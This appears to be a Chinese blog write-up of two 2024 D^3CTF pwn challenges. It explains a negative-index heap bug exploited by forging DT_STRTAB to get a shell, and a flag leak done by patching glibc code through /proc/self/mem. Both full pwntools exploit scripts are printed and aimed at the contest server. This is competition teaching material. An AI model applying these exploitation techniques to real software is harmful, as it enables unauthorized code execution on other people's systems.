2024 5th D^3CTF Pwn 部分Writeup

note

漏洞分析

未开启PIE,Partial RELRO,菜单堆功能完整

可以看出所有功能的idx是有符号整型,没有判断负值

也就是说对于new功能而言,每一次新建会在0x4040A0 + idx * 0x10处赋值分配的chunk_size,以及在0x4040A0 + idx * 0x10 + 0x8处分配chunk_ptr

那么很常见的思路就是用分配的chunk地址覆盖掉bss段上的stdin,stdout,stderr系列指针,将其指向伪造的IO_FILE结构体。但是很不幸,由于这些指针所在地址结尾为0,所以只能被chunk_size覆盖

既然如此,考虑到Partial RELRO未开启,可以联想到DT_STRTAB的伪造,而其所在的LOAD段同样和0x4040A0偏移固定并且可读写。

那么最终思路就是伪造整个DT_STRTAB,将puts字符串改为system,提前分配一个内容为/bin/sh的chunk,调用show功能后即可getshell

EXP

from pwn import*
r=remote("47.103.219.45",31449)
#r=process('./pwn')
context.log_level='debug'

def new(idx,size,content):
	r.sendline(str(0x114))
	r.sendline(str(idx))
	r.sendline(str(size))
	r.send(content)

def delete(idx):
	r.sendline(str(0x1919))
	r.sendline(str(idx))

def show(idx):
	r.sendline(str(0x514))
	r.sendline(str(idx))

def edit(idx,content):
	r.sendline(str(0x810))
	r.sendline(str(idx))
	r.send(content)

fake_dt_strtab=""
fake_dt_strtab+="\x00"
fake_dt_strtab+="stdin\x00"
fake_dt_strtab+="system\x00"
fake_dt_strtab+="__stack_chk_fail\x00"
fake_dt_strtab+="free\x00"
fake_dt_strtab+="setbuf\x00"
fake_dt_strtab+="read\x00"
fake_dt_strtab+="stdout\x00"
fake_dt_strtab+="atoi\x00"
fake_dt_strtab+="malloc\x00"
fake_dt_strtab+="__libc_start_main\x00"
fake_dt_strtab+="stderr\x00"
fake_dt_strtab+="libc.so.6\x00"
fake_dt_strtab+="GLIBC_2.4\x00"
fake_dt_strtab+="GLIBC_2.34\x00"
fake_dt_strtab+="GLIBC_2.2.5\x00"
fake_dt_strtab+="__gmon_start__\x00"
fake_dt_strtab+="./libc.so.6\x00"
fake_dt_strtab+="\n"

new(0,0x100,"/bin/sh\n")
new(-0x59F,0x100,fake_dt_strtab)

#gdb.attach(r)

show(0)

r.interactive()

write_flag_where

漏洞分析

很微妙的一题。flag固定为d3ctf{[0-9a-f]},长度已知,直接提供了libc地址

功能为将flag任意偏移处的某个字符通过/proc/self/mem写进任意libc代码段中,不受段权限影响。

一般来看,常规思路就是将flag写进libc中的某个字符串中,通过某种方式(例如__libc_fatal)或者其他流程将其输出出来。但是很显然,libc中的字符串并不处在libc代码段上,但是输出流程确实可以进一步探索的。

程序可以正常exit退出,而exit流程中有大量的函数调用以及状态检测。而对于调试过新版本FSOP的流程的人来说,对于_IO_vtable_check函数抛出的”Fatal error: glibc detected an invalid stdio handle”错误一定有深刻的印象。新版本的glibc添加了对于IO_vtable函数的检测,这可以成为利用的目标。

但是常规exit流程肯定无法触发这个报错,因此需要对_IO_flush_all函数做一些处理。

如上图所示,对于FSOP而言,需要_IO_write_base>_IO_write_ptr才能触发vtable函数的执行,因此可以将_IO_flush_all+436处的+0x20偏移修改掉,让其指向一个其他能满足条件的地址。因为只可以将其修改为flag中的某个可见字符,因此需要一定的爆破尝试。

与此同时,由于默认的跳转函数满足vtable检测,因此_IO_flush_all+193处的偏移0xd8也应该被修改,让其指向一个非法的地址。不过好在由于vtable检测很严格,几乎任何字符的修改都可以让其落入_IO_vtable_check中。

幸运的是,远程flag的第一个字符为’e’,将上述二者全都修改为0x65全都满足条件。

最终__libc_fatal函数被调用来打印错误信息,而字符串地址是通过RIP偏移传递的,因此可以修改_IO_vtable_check+125处的0x13951c末尾的0x1c,最终看到一个有偏移的报错字符串,根据输出字符串和原字符串的偏移来确定0x1c被修改为了什么字符,计算得出flag中字符串的值。

EXP

from pwn import*

std_err_msg="Fatal error: glibc detected an invalid stdio handle\n\x00\x00\x00The futex facility returned an unexpected error code.\n"

flag="d3ctf{"

for i in range(41):
	#r=remote("127.0.0.1",9999)
	r=remote("47.103.219.45",32653)
	#r=process('./vuln')
	context.log_level='debug'

	libc_base=int(r.recvuntil("-",drop=True),16)
	success("libc_base: "+hex(libc_base))
	
	r.recvline()
	r.recvline()

	r.sendline(str(libc_base+0x6b717)+" "+str(6))
	r.sendline(str(libc_base+0x6b624)+" "+str(6))

	r.sendline(str(libc_base+0x66a20)+" "+str(6+i))
	if (i==-1):
		#gdb.attach(r,"b *"+str(libc_base)+"+0x6b710")
		#gdb.attach(r,"b _IO_vtable_check")
		pause()

	r.sendline("0 0")
	rcv_err_msg=r.recvline()
	
	offset=std_err_msg.find(rcv_err_msg)+0x1c
	
	if (offset<=0x39 and offset>=0x30): offset=offset-1
	
	flag+=chr(offset+1)

	r.close()

print flag
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇